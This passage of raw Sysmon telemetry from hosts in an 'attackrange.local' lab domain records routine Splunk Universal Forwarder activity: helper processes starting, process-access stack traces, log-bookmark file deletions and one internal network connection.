Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047445Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:17.518{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047444Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:17.518{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047443Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:17.518{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047442Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:17.518{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047441Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:17.518{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-70E5-613B-180B-00000000F001}4272C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047440Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:17.518{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-70E5-613B-180B-00000000F001}4272C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047439Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:17.519{7BD73061-70E5-613B-180B-00000000F001}4272C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000047438Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:17.409{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B6AA7EA4D3EA9FC32B8813609D6010D3,SHA256=A74C102B738BF0C49C87A7DB2F0CB60B1639428D686EA6CB04440A5DD35E98A8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015067Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:18.799{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8F28F2041E168C4593A826C70FF3F132,SHA256=17FC4599B128885D5CD976D3385BD5D1557AF10B7B7D2C0DA0ED0964A711C7E0,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047467Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:18.768{7BD73061-70E6-613B-1A0B-00000000F001}11725664C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000047466Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:18.598{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=8695921453740A74941FEEC56C629313,SHA256=B21927F591B354D897D9DACB853C61B35695F7B13F9E5C25267B8B946FFB057E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047465Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:18.598{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=93298C4AAAFEE44C58F03DDA8BF52CF6,SHA256=6495B3623A529FAAC505B3DEB993D2B65411B5570FF8B03847F92307ACFE1A88,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047464Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:18.518{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-70E6-613B-1A0B-00000000F001}1172C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047463Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:18.518{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047462Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:18.518{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047461Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:18.518{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047460Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:18.518{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047459Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:18.518{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-70E6-613B-1A0B-00000000F001}1172C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047458Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:18.518{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-70E6-613B-1A0B-00000000F001}1172C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047457Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:18.519{7BD73061-70E6-613B-1A0B-00000000F001}1172C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000047456Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:18.456{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C3BE0A0B54995AF0A1901828D5CAA76A,SHA256=4809197A919F9591BEB8A67AA5EB4ACFB12459A562401019FE737D4A3C4C3ECE,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047455Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:15.487{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59392-false10.0.1.12-8000- 10341000x800000000000000047454Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:18.018{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-70E6-613B-190B-00000000F001}6784C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047453Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:18.018{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047452Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:18.018{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047451Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:18.018{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047450Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:18.018{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047449Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:18.018{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-70E6-613B-190B-00000000F001}6784C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047448Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:18.018{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-70E6-613B-190B-00000000F001}6784C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047447Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:18.019{7BD73061-70E6-613B-190B-00000000F001}6784C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015068Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:19.814{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 